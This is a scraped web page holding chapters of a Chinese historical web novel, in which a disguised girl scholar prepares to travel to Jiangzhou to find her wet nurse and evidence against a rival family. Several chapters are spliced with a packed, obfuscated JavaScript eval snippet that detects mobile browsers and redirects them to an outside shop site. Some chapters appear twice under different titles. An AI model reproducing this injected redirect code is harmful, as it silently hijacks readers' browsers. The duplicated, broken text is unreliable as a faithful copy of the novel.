谢青梧一怔。这事才发生几个时辰,云知意就知道了? “云姑娘消息真灵通。” “乐坊那种地方,什么消息都有。”云知意淡淡道,“公主的玉佩,收好。那是护身符,也是催命符。” “姑娘何出此言?” “因为公主给你玉佩,就等于告诉某些人,你是她的人了。”云知意看着她,“太子、二皇子,还有其他盯着公主的人,都会注意到你。往后,你的麻烦会更多。” 谢青梧沉默。这点她想到了,但从云知意嘴里说出来,更觉沉重。 “但这也是机会。”云知意话锋一转,“有公主庇护,至少刘瑾那种人不敢明着动你。至于暗箭……总比明枪好防。” 两人并肩走着,月光把影子拉得很长。 “云姑娘,”谢青梧忽然问,“你为何这么帮我?” 云知意脚步一顿,随即又继续走:“我说过,因为你和他们不一样。” “就因为这个?” “这个还不够吗?”云知意笑了,笑容在月光下有些朦胧,“这京城里,真心人太少了。能多一个,总是好的。” 她停下脚步:“到了,前面就是你住处。我就不送了。” 谢青梧这才发现,不知不觉已经走到她住的巷子口。 “多谢云姑娘。” “别总谢来谢去的。”云知意摆摆手,“记着,春风阁的门,随时为你开着。若真遇到难处,来找我。” 她转身要走,又回头:“对了,江州那边……好像有点动静。你兄长谢明远,最近和扬州王家走得很近。你自己小心。” 说完,她快步离去,很快消失在夜色中。 谢青梧站在巷口,许久没动。 江州、谢明远、王家……这些事像一团乱麻,缠在一起。 但她现在没时间去理。眼前最重要的是女学,是公主交代的事。 回到住处,慕容芷迎上来:“公子,有封信,江州来的。” 谢青梧接过信,拆开一看,是周子砚写的。信里说,谢明远最近频繁去扬州,好像在谈什么生意。还听说,王家在打听她的消息,特别是她生母的事。 信的最后,周子砚写道:“怀瑾,京城水深,务必小心。若需要帮忙,随时来信。” 她把信烧了,坐在灯下发呆。 所有线索都指向一点,谢明远和王家勾结,想找她的把柄。而生母,可能就是突破口。 她生母到底有什么秘密? 正想着,院门又被敲响了。这次来的是李慕白,一脸焦急。 “谢兄,出事了!” “怎么了?” “刘瑾……刘瑾在到处说,你攀附公主,想走捷径。”李慕白喘着气,“还说你在慈济堂故意偶遇公主,心思不正。现在好些举人都在议论……” 消息传得真快。谢青梧冷笑,刘瑾这是急了。 “让他们说去吧。”她淡淡道,“清者自清。” “可是谢兄,人言可畏啊!”李慕白急道,“尤其是那些寒门举人,最恨攀附权贵之辈。你这么一弄,往后在士林里……” “李兄,”谢青梧打断他,“我问你,若我真想攀附权贵,该去攀附谁?” 李慕白一愣。 “太子?二皇子?还是其他权臣?”谢青梧道,“公主虽尊贵,但毕竟是女子,在朝中并无实权。攀附她,算什么捷径?” 这话点醒了李慕白。是啊,公主再尊贵,也管不了科举,给不了官位。攀附她,确实不算聪明选择。 “那刘瑾为何这么说?” “因为他想坏我名声。”谢青梧道,“我名声坏了,就没人信我的话。我说的那些女子该读书、寒门该出头的话,也就没人听了。” 李慕白恍然大悟:“原来如此!那咱们得反击!” “不急。”谢青梧摇头,“现在反击,正中他下怀。让他说,说得越多,暴露得越多。” “可……” “李兄放心。”谢青梧拍拍他的肩,“我自有分寸。” 送走李慕白,夜色已深。谢青梧独自站在院里,看着天上那轮明月。 前路艰难,但她已经踏上了这条路。 不能回头,也不想回头。 21. 雪夜定策 腊月二十八的雪下了一夜,到天明时还未停。 谢青梧屋里的灯也亮了一夜。 桌上摊着本林家旧账,纸页泛黄,墨迹深深浅浅。她一个字一个字看过去,指尖在“铁器”“私矿”“北边”几个词上来回摩挲,越看心越沉。 王家胆子太大了。 走私铁器是死罪,私开矿脉是死罪,若是真和北边有勾连……那是诛九族的罪。 账本里还夹着几张零散单子,记着些银钱往来,其中一条写着“腊月初八,付周氏五十两,封口”。周氏,该是乳娘。 谢青梧放下账本,走到窗边。 雪光映进屋里,照着她一夜未眠的脸。十五岁的年纪,眉眼间却已没了少女稚气,只剩一片沉静的冷。 生母林氏,江州林家大小姐。 林家二十年前败落,说是生意失败,家破人亡。可若王家真做了那些事,林家一个商贾之家,怎会突然就败了?又败得那么巧,刚好在王家的罪证可能出现的时候? 乳娘周氏是关键。 她知道内情,甚至可能握着更直接的证据。所以谢明远才急着要找她,所以王家才要付钱封口。 “不能等了。”谢青梧轻声说。 等过了年,等春闱,等站稳脚跟?等不起。谢明远既然已经动手,就不会给她喘息的时间。王家若知道账本在她手里,更不会放过她。 南下江州,找到乳娘,拿到铁证。 然后在春闱之前,把刀架在谢明远和王家脖子上,让他们不敢妄动。 她走回桌边,铺纸研墨。 写给云知意的信不能太长,但要把意思说明白。她需要南下路线,需要江州的接应,需要有人在她离京期间,替她盯着京里的动静。 笔尖沾墨,落下第一行字。 “云姑娘台鉴:怀瑾欲南下江州,寻故人,查旧事。事关重大,需姑娘相助……” 写到这里,她停了一下。 云知意身份不明,但至今给她的帮助都是实的。账本是真的,提醒是真的,但…… 该赌一把。 信写完,封好。她叫来李婶,让她悄悄去一趟春风阁。 “就说谢公子有急信,务必亲自交到云姑娘手里。” 李婶接过信,压低声音:“公子真要南下?这大年关的……” “越快越好。”谢青梧说,“你告诉云姑娘,若方便,我想在离京前见他一面。” 李婶应声去了。 屋里又只剩谢青梧一个人。她把账本重新收好,藏在床板下的暗格里。然后开始收拾行李。 不能带太多东西。一两件换洗衣裳,几本书,一些碎银和银票。防身的药粉要带,云知意给的烟雾丸也要带。还有顾临渊的玉佩、萧玉衡的玉佩,这些信物关键时刻或许有用。 收拾到一半,她忽然想起什么,从书箱最底下翻出一本旧册子。 是生母林氏留下的诗集,扉页上有一行小字:“愿吾女此生,不必藏锋,不必屈膝,堂堂正正立于天地间。” 她看着那行字,看了很久。 然后轻轻合上册子,放进贴身的内袋里。 窗外雪渐渐小了,天光透亮起来。 谢青梧推开窗,冷风夹着雪沫扑在脸上。她深吸一口气。 南下这条路不会好走。谢明远会察觉,王家会阻拦,路上不知有多少险。 但她必须走。 不仅要走,还要走得稳,走得快,走得让所有人都措手不及。 李婶午后回来了,带回云知意的口信。 “云姑娘说,明日未时,老地方见。还说……让公子万事小心,江州的水比想的还深。” 谢青梧点点头。 她还有一天时间准备。要去公主府辞行,要去国子监告假,还要把慈济堂女学的事暂时托付给严博士。 每一件事都不能露出破绽。 傍晚时分,雪完全停了。谢青梧换上厚袍子,揣着暖手炉,出了门。 公主府的门房认得她,很快引她进去。萧玉衡正在暖阁里看书,见她来了,放下书卷。 “谢公子来得巧,我刚得了一罐好茶。” 谢青梧行礼:“殿下,学生今日来,是有事相求。” 萧玉衡挑眉:“坐下说。” 暖阁里炭火正旺,茶香袅袅。谢青梧坐下,斟酌着开口:“学生想告假离京一阵子,回乡……寻访故人,查证一些家事。” 她说得含糊,但萧玉衡何等敏锐。 “和谢家有关?还是和你生母有关?” 谢青梧沉默片刻,点头:“都有。” 萧玉衡看着她,目光深深:“谢公子,你可知你如今是什么处境?秋闱第七,国子监听讲,多少双眼睛盯着你。这个时候离京,不是明智之举。” “学生知道。”谢青梧抬眼看她,眼神平静,“但有些事,不能等。” “哪怕可能误了春闱?” “若事情办成,春闱反而更稳。” 萧玉衡怔了一下,忽然笑了:“你倒是自信。”她端起茶盏,轻轻吹了吹,“要去哪里?多久?” “江州。快则一月,慢则两月,必在春闱前回来。” “江州……”萧玉衡重复着这两个字,手指在案上敲了敲,“王家的大本营。谢公子,你去那里,真的只是寻访故人?” 谢青梧没说话。 有些话不能说透,但彼此心里都明白。 萧玉衡看了她半晌,忽然起身走到里间,不多时拿了一个锦囊出来。 “这里有些盘缠,还有一枚令牌。”她把锦囊推过去,“凭这令牌,沿途驿站可以换马歇脚,必要时也能调用当地衙役。不算多,但够你应急。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946687|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢青梧起身要谢,被萧玉衡按住。 “不必谢我。”萧玉衡看着她,声音压低了些,“我帮你,是因为我看好你。但你也得答应我一件事。” “殿下请说。” “活着回来。”萧玉衡一字一句,“别折在江州。我还等着看你金殿夺魁,看我大燕出一个真正的寒门状元。” 谢青梧心头一热。 她郑重行礼:“学生谨记。” 从公主府出来,天已经黑了。街巷里灯笼次第亮起,映着未化的积雪,一片暖黄的光。 谢青梧走在雪地里,脚步很稳。 接下来要去国子监。告假的理由想好了,就说老家有长辈病重,需回去探望。严博士那边,得说实话,至少说一部分。 还有李慕白那几个同窗,也得打个招呼,免得他们担心。 一件事一件事来。 她抬头看了看夜空,雪后的星星格外地亮。 这条路,难走,但必须走,而且一定要走到头。 回到住处时,李婶已经备好了晚饭。简单的两菜一汤,热气腾腾。 谢青梧吃完,又坐到书桌前。 南下路线要规划,可能遇到的麻烦要预想,应对的法子要提前准备。她铺开一张纸,开始写写画画。 江州在东南,走陆路快,但容易暴露。走水路慢,但隐蔽。最好是先陆路到津门,再换船南下。 沿途经过哪些州县,哪里有驿站,哪里可能有关卡,都要记清楚。 还有身份。不能再用“谢怀瑾”这个名字,得换个假名,扮作游学的普通士子。路引云知意应该能帮忙弄到,但日常言行也得注意,不能露出破绽。 她写得专注,连炭盆里的火小了都没察觉。 直到更鼓声传来,已是二更天。 谢青梧放下笔,揉了揉发酸的手腕。纸上密密麻麻写满了字,条理清晰,步步为营。 该想的都想过了,该准备的都在准备。 剩下的,就是去做。 她吹灭灯,躺到床上。黑暗中,能听见窗外风吹过屋檐的轻响,还有远处隐约的梆子声。 明天见云知意,拿到路线和接头人。 后天去国子监告假,把慈济堂的事安排好。 大后天一早,离京。 时间很紧,但够了。 她闭上眼,脑子里却还在转。江州什么样?乳娘还认得她吗?王家到底藏着多少秘密? 想着想着,忽然又想起生母那本诗集。 “不必藏锋,不必屈膝……” 她轻轻念着这句话,嘴角微微扬起。 快了。 等从江州回来,等拿到该拿的东西,她就可以堂堂正正地,开始走自己的路了。 窗外,最后一盏灯笼也熄了。 雪又悄悄下了起来。 22. 公主辞行 第二天未时,谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆,旁边放着几封密信。她今日穿了件素青的袄子,发间只簪一支木钗,比平时更显利落。 “公子坐。”云知意抬手示意,声音很轻,“时间紧,我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线,陆路水路都标得清楚,哪些路段好走,哪些地方有哨卡,哪些驿站可靠,旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上,“走陆路快,十五天能到江州,但关卡多,容易被人盯上。走水路慢,要二十天往上,但隐蔽,货船人多,好藏身。” 她抬头看谢青梧:“你怎么想?” 谢青梧仔细看着图舆,沉吟片刻:“先陆路到津门,再换船南下。陆路这段我骑马,快。到津门混进货船,走漕运,不容易查。” 云知意点头:“和我想的一样。”她从旁边拿起一封信,“这是给江州绸缎庄掌柜老何的密信,他是我的人。你到了江州,去城西永昌街第三家铺子,对上暗号‘林家旧缎可还有’,他答‘只剩一匹藏蓝色’,便是接上了。” 谢青梧接过信,收进怀里。 “还有这个。”云知意又推过来一个小布包,“里面有些碎银和铜钱,路上零用。另有一瓶药,治风寒外伤的。江州潮湿,你小心身子。” 谢青梧心里一暖:“云姑娘费心了。” “不必说这些。”云知意看着她,眼神复杂,“谢公子,江州不比京城。王家在那里经营了几十年,官府、商会、甚至街头巷尾的混混,都可能和他们有牵扯。你一个外乡人,又是读书人打扮,太显眼。” “我明白。”谢青梧说,“我会小心。” 云知意沉默了一会儿,忽然问:“公主那边,你说了吗?” “说了。殿下给了令牌,准了假。” “那就好。”云知意似乎松了口气,“有公主在后面,至少京里有人替你看着。”她顿了顿,声音压得更低,“还有一件事。” 谢青梧抬眼。 “陆执那边,我探到点风声。”云知意说,“他派去江州的人还没回来,但锦衣卫的线报系统比我们快。你南下的事,他迟早会知道。” 谢青梧皱眉:“他会拦我?” “不好说。”云知意摇头,“陆执这个人,心思深。他若想拦你,早该动了。现在不动,要么是还没查到关键,要么……是另有打算。” 她看着谢青梧:“总之,你提防着些。锦衣卫的手段,你知道的。” 谢青梧点头。 从春风阁出来时,已是申时。天色有些阴,像是又要下雪。 谢青梧揣着图舆和密信,慢慢往国子监走。 严博士今日在值房。见她来了,放下手里的书:“怀瑾?有事?” 谢青梧行了一礼,把想好的说辞讲了一遍:老家有长辈病重,需回去探望,约莫一两个月,春闱前一定赶回来。 严博士听了,沉吟半晌。 “怀瑾,你秋闱刚中,正是潜心备考的时候。”他语重心长,“这时候离京,实在不是明智之举。春闱在即,多少学子闭门苦读,你这一走……” “学生知道。”谢青梧垂眼,“但长辈病重,为人晚辈,不能不孝。学生保证,路上也会温书,绝不荒废学业。” 严博士看了她好一会儿,终于叹了口气。 “罢了,你是个有主意的。”他从抽屉里拿出纸笔,写了准假条,“早去早回。功课我让李慕白他们替你记着,回来补上。” “谢先生。” 从严博士值房出来,谢青梧又去找了李慕白。 几个同窗正在斋舍里温书,见她来了,都围上来。 “怀瑾,听说你要回乡?”李慕白问。 谢青梧点头:“家里有些事,回去一趟。” “什么时候走?” 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先去慈济堂,和女学的孩子们告个别,把后面一个月的课托付给严博士找的女夫子。再去当铺把一些用不着的旧物当了,换些现钱。最后回来检查行李,早些休息。 然后就是后天一早,离京。 她闭上眼,深吸一口气。 南下这条路,难走。 但再难,也得走。 窗外风声渐起,吹得窗纸簌簌响。 谢青梧翻了个身,慢慢睡着了。 梦里依稀是江州的模样,小桥流水,青石板路,还有模糊的、记不清面容的生母。 以及,暗处随时可能伸出来的手。 23.疑心渐生 锦衣卫衙门后堂,陆执刚从宫里回来。 大氅上还沾着雪沫,他解了随手扔给亲卫,走到炭盆边烤手。屋里暖得有些燥,但他脸色还是冷的。 “大人。”门外有人低声唤。 “进。” 进来的是个穿青袍的缇骑,行礼后递上一封密报:“谢怀瑾今日去了春风阁,见了云知意。呆了约莫一个时辰。” 陆执接过密报,扫了一眼。 “说了什么?” “听不清。雅间隔音好,我们的人只在远处盯着。不过谢怀瑾出来时,怀里揣着东西,像是图舆。” 图舆。 陆执手指在桌沿敲了敲。 谢怀瑾要离京。 这个念头在他脑子里转了一圈,和之前的线索对上:去公主府辞行,去国子监告假,连慈济堂的女学都托付出去了。 走得这么急,是要去哪? “还有,”缇骑又说,“谢明远那边也动了。他府上的管家今日悄悄去了城西,见了王家一个账房。我们的人跟过去,听见他们说……要盯紧谢怀瑾。” 陆执抬眼。 谢明远和王家。 谢怀瑾的生母林家,二十年前败在王家手里。谢明远拿这个要挟谢怀瑾,如今谢怀瑾突然要离京…… 是去找证据,还是去寻人? 或者,两者都有。 “大人,要拦吗?”缇骑问。 陆执沉默了一会儿。 炭火噼啪响了一声。 “不拦。”他说,“派两个人,暗中跟着。别让他发现,也别让他出事。” 缇骑愣了一下:“大人,这……” “谢怀瑾这个人,”陆执看向窗外,“不简单。秋闱第七,国子监听讲,公主看重,云知意相助。一个寒门举子,哪来这么大本事?” 他顿了顿:“我倒要看看,他到底想干什么。” “是。” 缇骑退下了。 陆执坐回椅子上,拿起那封密报又看了一遍。谢怀瑾三个字写得工整,下面列着这几日的行踪:公主府,春风阁,国子监,慈济堂。 每一步都走得稳,也走得急。 像是背后有什么在追,又像是前面有什么在等。 他忽然想起那日在八仙楼外,雪地里,谢怀瑾回头看他那一眼。 平静,清醒,藏着东西。 当时只觉得这少年心思深,如今看来,恐怕比他想的还要深。 门外又有人来报。 “大人,江州那边的飞鸽传书到了。” 陆执接过小竹筒,倒出里面的纸条。展开一看,眉头就皱了起来。 江州锦衣卫报:王家近半年动作频繁,私矿又开了两处。另,有人在暗中打听一个姓周的老妇人,说是京城来的,现居周家村。 周氏。 谢怀瑾的乳娘。 陆执放下纸条,闭上眼睛。 所有线索都连上了。 谢怀瑾要去江州,找乳娘,查王家,翻二十年前的旧案。一个十五岁的少年,单枪匹马,要去碰江州的地头蛇。 胆子真大。 也真不要命。 他睁开眼,提笔写了两行字,装进另一个竹筒。 “传令江州卫所,留意一个叫谢怀瑾的举子。若有危险,暗中护着,别让他死了。” 顿了顿,又加一句:“别让他知道。” 亲卫接过竹筒,快步出去了。 屋里又静下来。 陆执走到窗边,推开一条缝。冷风灌进来,吹散了屋里的燥热。 雪还在下,细细密密的。 他忽然想起自己十五岁的时候,刚进锦衣卫,也是天不怕地不怕,觉得凭一把刀就能闯天下。 后来才知道,这世上的事,不是光有胆子就够的。 谢怀瑾有胆子,也有脑子。 但江州那潭水,太深了。 他关上门,走回案前。桌上堆着还没批完的卷宗,都是各地的密报,一条条,一件件,织成一张看不见的网。 谢怀瑾正往网里走。 而他,在网外看着。 谢府书房,谢明远也在看密报。 王管家垂手站在下面,大气不敢出。 “走了?”谢明远抬眼,眼神阴沉。 “是,少爷。谢怀瑾后日一早就走,说是回老家探亲。”王管家低声说,“但小人打听过了,他老家早就没人了。探什么亲?” 谢明远冷笑。 “探亲是假,南下是真。”他把密报扔在桌上,“王家那边怎么说?” “王家老爷说,让咱们务必盯紧,弄清楚他去哪,干什么。江州那边,他们也会布置。” 谢明远点点头,手指在桌上敲着。 谢怀瑾突然离京,绝不是什么好事。这小子精得很,每一步都有算计。这次南下,肯定是冲着林家的事去的。 乳娘周氏还在江州。 要是让谢怀瑾找到她,问出当年的事…… 谢明远心里一紧。 不行,不能让他得逞。 “派两个人,跟着他。”他说,“不用跟太近,弄清楚他去哪就 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她正在屋里检查最后一遍行李。图舆贴身放着,密信藏好了,银子分了三处,药瓶放在随手能拿到的地方。 一切都准备好了。 李婶红着眼眶站在门口:“公子,明早我给您煮碗面,吃了再走。” “好。”谢青梧笑笑,“李婶,你也早点歇着。” 夜深了。 谢青梧吹灭灯,躺在床上。眼睛闭着,脑子却清醒得很。 南下这条路,每一步都得算好。 从京城到津门,骑马三天。津门换船,顺漕运南下,大概十五天到江州。加起来,最快十八天。 十八天里,不能出一点差错。 谢明远肯定会派人盯梢,得想办法甩掉。王家在沿途可能有耳目,得小心避开。还有陆执,锦衣卫的线报系统厉害,说不定已经知道了。 她翻了个身,手摸到枕下的匕首。 冰冷的刀鞘,贴着掌心。 这是云知意给她的,说防身用。 希望用不上。 窗外风声紧了,吹得屋檐上的雪簌簌往下掉。 谢青梧听着那声音,慢慢闭上眼睛。 明天一早,天一亮就走。 离开京城,离开这些盯着她的眼睛,去江州,去找真相。 也去找一条,真正属于她的路。 24.辞别师友 第二天未时,谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆,旁边放着几封密信。她今日穿了件素青的袄子,发间只簪一支木钗,比平时更显利落。 “公子坐。”云知意抬手示意,声音很轻,“时间紧,我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线,陆路水路都标得清楚,哪些路段好走,哪些地方有哨卡,哪些驿站可靠,旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上,“走陆路快,十五天能到江州,但关卡多,容易被人盯上。走水路慢,要二十天往上,但隐蔽,货船人多,好藏身。” 她抬头看谢青梧:“你怎么想?” 谢青梧仔细看着图舆,沉吟片刻:“先陆路到津门,再换船南下。陆路这段我骑马,快。到津门混进货船,走漕运,不容易查。” 云知意点头:“和我想的一样。”她从旁边拿起一封信,“这是给江州绸缎庄掌柜老何的密信,他是我的人。你到了江州,去城西永昌街第三家铺子,对上暗号‘林家旧缎可还有’,他答‘只剩一匹藏蓝色’,便是接上了。” 谢青梧接过信,收进怀里。 “还有这个。”云知意又推过来一个小布包,“里面有些碎银和铜钱,路上零用。另有一瓶药,治风寒外伤的。江州潮湿,你小心身子。” 谢青梧心里一暖:“云姑娘费心了。” “不必说这些。”云知意看着她,眼神复杂,“怀瑾,江州不比京城。王家在那里经营了几十年,官府、商会、甚至街头巷尾的混混,都可能和他们有牵扯。你一个外乡人,又是读书人打扮,太显眼。” “我明白。”谢青梧说,“我会小心。” 云知意沉默了一会儿,忽然问:“公主那边,你说了吗?” “说了。殿下给了令牌,准了假。” “那就好。”云知意似乎松了口气,“有公主在后面,至少京里有人替你看着。”她顿了顿,声音压得更低,“还有一件事。” 谢青梧抬眼。 “陆执那边,我探到点风声。”云知意说,“他派去江州的人还没回来,但锦衣卫的线报系统比我们快。你南下的事,他迟早会知道。” 谢青梧皱眉:“他会拦我?” “不好说。”云知意摇头,“陆执这个人,心思深。他若想拦你,早该动了。现在不动,要么是还没查到关键,要么……是另有打算。” 她看着谢青梧:“总之,你提防着些。锦衣卫的手段,你知道的。” 谢青梧点头。 从春风阁出来时,已是申时。天色有些阴,像是又要下雪。 谢青梧揣着图舆和密信,慢慢往国子监走。 严博士今日在值房。见她来了,放下手里的书:“怀瑾?有事?” 谢青梧行了一礼,把想好的说辞讲了一遍:老家有长辈病重,需回去探望,约莫一两个月,春闱前一定赶回来。 严博士听了,沉吟半晌。 “怀瑾,你秋闱刚中,正是潜心备考的时候。”他语重心长,“这时候离京,实在不是明智之举。春闱在即,多少学子闭门苦读,你这一走……” “学生知道。”谢青梧垂眼,“但长辈病重,为人晚辈,不能不孝。学生保证,路上也会温书,绝不荒废学业。” 严博士看了她好一会儿,终于叹了口气。 “罢了,你是个有主意的。”他从抽屉里拿出纸笔,写了准假条,“早去早回。功课我让李慕白他们替你记着,回来补上。” “谢先生。” 从严博士值房出来,谢青梧又去找了李慕白。 几个同窗正在斋舍里温书,见她来了,都围上来。 “怀瑾,听说你要回乡?”李慕白问。 谢青梧点头:“家里有些事,回去一趟。” “什么时候走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢青梧翻了个身,慢慢睡着了。 梦里依稀是江州的模样,小桥流水,青石板路,还有模糊的、记不清面容的生母。 以及,暗处随时可能伸出来的手。 25.疑心渐起 锦衣卫衙门后堂,陆执刚从宫里回来。 大氅上还沾着雪沫,他解了随手扔给亲卫,走到炭盆边烤手。屋里暖得有些燥,但他脸色还是冷的。 “大人。”门外有人低声唤。 “进。” 进来的是个穿青袍的缇骑,行礼后递上一封密报:“谢怀瑾今日去了春风阁,见了云知意。呆了约莫一个时辰。” 陆执接过密报,扫了一眼。 “说了什么?” “听不清。雅间隔音好,我们的人只在远处盯着。不过谢怀瑾出来时,怀里揣着东西,像是图舆。” 图舆。 陆执手指在桌沿敲了敲。 谢怀瑾要离京。 这个念头在他脑子里转了一圈,和之前的线索对上:去公主府辞行,去国子监告假,连慈济堂的女学都托付出去了。 走得这么急,是要去哪? “还有,”缇骑又说,“谢明远那边也动了。他府上的管家今日悄悄去了城西,见了王家一个账房。我们的人跟过去,听见他们说……要盯紧谢怀瑾。” 陆执抬眼。 谢明远和王家。 谢怀瑾的生母林家,二十年前败在王家手里。谢明远拿这个要挟谢怀瑾,如今谢怀瑾突然要离京…… 是去找证据,还是去寻人? 或者,两者都有。 “大人,要拦吗?”缇骑问。 陆执沉默了一会儿。 炭火噼啪响了一声。 “不拦。”他说,“派两个人,暗中跟着。别让他发现,也别让他出事。” 缇骑愣了一下:“大人,这……” “谢怀瑾这个人,”陆执看向窗外,“不简单。秋闱第七,国子监听讲,公主看重,云知意相助。一个寒门举人,哪来这么大本事?” 他顿了顿:“我倒要看看,他到底想干什么。” “是。” 缇骑退下了。 陆执坐回椅子上,拿起那封密报又看了一遍。谢怀瑾三个字写得工整,下面列着这几日的行踪:公主府,春风阁,国子监,慈济堂。 每一步都走得稳,也走得急。 像是背后有什么在追,又像是前面有什么在等。 他忽然想起那日在八仙楼外,雪地里,谢怀瑾回头看他那一眼。 平静,清醒,藏着东西。 当时只觉得这少年心思深,如今看来,恐怕比他想的还要深。 门外又有人来报。 “大人,江州那边的飞鸽传书到了。” 陆执接过小竹筒,倒出里面的纸条。展开一看,眉头就皱了起来。 江州锦衣卫报:王家近半年动作频繁,私矿又开了两处。另,有人在暗中打听一个姓周的老妇人,说是京城来的,现居周家村。 周氏。 谢怀瑾的乳娘。 陆执放下纸条,闭上眼睛。 所有线索都连上了。 谢怀瑾要去江州,找乳娘,查王家,翻二十年前的旧案。一个十五岁的少年,单枪匹马,要去碰江州的地头蛇。 胆子真大。 也真不要命。 他睁开眼,提笔写了两行字,装进另一个竹筒。 “传令江州卫所,留意一个叫谢怀瑾的举人。若有危险,暗中护着,别让他死了。” 顿了顿,又加一句:“别让他知道。” 亲卫接过竹筒,快步出去了。 屋里又静下来。 陆执走到窗边,推开一条缝。冷风灌进来,吹散了屋里的燥热。 雪还在下,细细密密的。 他忽然想起自己十五岁的时候,刚进锦衣卫,也是天不怕地不怕,觉得凭一把刀就能闯天下。 后来才知道,这世上的事,不是光有胆子就够的。 谢怀瑾有胆子,也有脑子。 但江州那潭水,太深了。 他关上门,走回案前。桌上堆着还没批完的卷宗,都是各地的密报,一条条,一件件,织成一张看不见的网。 谢怀瑾正往网里走。 而他,在网外看着。 谢府书房,谢明远也在看密报。 王管家垂手站在下面,大气不敢出。 “走了?”谢明远抬眼,眼神阴沉。 “是,大少爷。谢怀瑾后日一早就走,说是回老家探亲。”王管家低声说,“但小人打听过了,他老家早就没人了。探什么亲?” 谢明远冷笑。 “探亲是假,南下是真。”他把密报扔在桌上,“王家那边怎么说?” “王家大少爷说,让咱们务必盯紧,弄清楚他去哪,干什么。江州那边,他们也会布置。” 谢明远点点头,手指在桌上敲着。 谢怀瑾突然离京,绝不是什么好事。这小子精得很,每一步都有算计。这次南下,肯定是冲着林家的事去的。 乳娘周氏还在江州。 要是让谢怀瑾找到她,问出当年的事…… 谢明远心里一紧。 不行,不能让他得逞。 “派两个人,跟着他。”他说,“不用跟太近,弄清楚他去哪就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢明远肯定会派人盯梢,得想办法甩掉。王家在沿途可能有耳目,得小心避开。还有陆执,锦衣卫的线报系统厉害,说不定已经知道了。 她翻了个身,手摸到枕下的匕首。 冰冷的刀鞘,贴着掌心。 这是云知意给她的,说防身用。 希望用不上。 窗外风声紧了,吹得屋檐上的雪簌簌往下掉。 谢青梧听着那声音,慢慢闭上眼睛。 明天一早,天一亮就走。 离开京城,离开这些盯着她的眼睛,去江州,去找真相。 也去找一条,真正属于她的路。 26.辞别师友 腊月三十,年关最后一天。 谢青梧天没亮就起了。李婶果然煮了面,热腾腾的汤里窝着鸡蛋,撒了葱花。她安静吃完,放下筷子。 “李婶,我走了。” 李婶抹着眼睛送她到门口。门外已经雇好了马车,车夫是个老实汉子,姓陈,常跑京城到津门这条线。 行李装上车,谢青梧最后看了一眼这小院。 在这里住了大半年,读书,备考,筹划。如今要走了,不知何时能回来。 “公子,上车吧。”车夫说。 谢青梧收回目光,登上马车。 车帘落下,车轮碾过积雪,吱呀吱呀响。天还没全亮,街上人不多,只有几个早起的摊贩在支炉子。 马车先去了国子监。 严博士今日不当值,但谢青梧还是去了一趟。门房认识她,让她进去了。斋舍里静悄悄的,大部分学子都回家过年了,只有几个路远的还留着。 李慕白果然在。 “怀瑾!”他正在院子里背书,看见谢青梧,眼睛一亮,“你真今天走?” 谢青梧点头:“来跟你道个别。” 李慕白放下书,走过来:“东西都带齐了?路上吃的用的备够了?这天冷,多带件厚衣裳。” 一连串的叮嘱,谢青梧听着,心里暖。 “都备好了。”她说,“你安心备考,等我回来,咱们一起下场。” “那必须的。”李慕白笑起来,又从怀里掏出个小布包,“这个给你。” 谢青梧接过,打开一看,是几块糕饼,还有一个小护身符。 “我娘去庙里求的,保平安。”李慕白有点不好意思,“你带着,路上顺当。” 谢青梧收好:“多谢。” 两人又说了会儿话。李慕白问要不要送她出城,谢青梧婉拒了。离别的话说太多,反而伤感。 从国子监出来,马车又去了慈济堂。 女学今日放假,但严博士找的女夫子已经在等了。是个三十来岁的妇人,姓吴,丈夫早逝,自己带着孩子,识些字,人看着和善。 谢青梧把课程安排交代清楚,又把备好的束脩给了。吴娘子接过,郑重道:“谢公子放心,我一定好好教。” 孩子们听说谢青梧要走,都围过来。最大的那个女孩,叫小禾,拉着她的袖子:“先生还回来吗?” “回来。”谢青梧摸摸她的头,“你们好好念书,等我回来检查功课。” 小禾用力点头。 都交代完,已是辰时。街上人渐渐多了,车马声,叫卖声,热热闹闹的,满是年味。 谢青梧最后看了一眼慈济堂的匾额,转身上车。 “出城。” 马车动了,穿过一条条街道,往南城门去。 谢青梧坐在车里,掀开车帘一角往外看。京城的风物从眼前滑过:卖年画的摊子,挂灯笼的铺子,提着年货匆匆走过的行人。 这是她来京城的第一年。 秋闱中举,进国子监,办女学,结交公主,拿到账本。 每一步都不容易,但都走过来了。 如今要暂时离开,去走更险的路。 马车快到南城门时,她忽然出声:“停一下。” 车夫勒住马:“公子?” “我去买点东西。” 谢青梧下车,走进路边一家书铺。铺子里人不多,掌柜正在整理书架。她挑了两本闲书,付了钱,又慢悠悠出来。 眼角余光扫过街对面。 果然有人。 两个穿着粗布衣裳的男人,蹲在巷口,眼睛盯着她的马车。见她出来,立刻转过脸,假装说话。 谢青梧不动声色,回到车上。 “走吧。” 马车出了南城门,上了官道。路边的积雪还没化,车轮碾过去,留下两道深深的辙印。 谢青梧靠在车里,闭上眼睛。 那两个人,是谢明远派的,还是王家的? 或者都有。 她早料到会有人跟踪。离京这么大的事,谢明远不可能不知道。知道了,就不可能不闻不问。 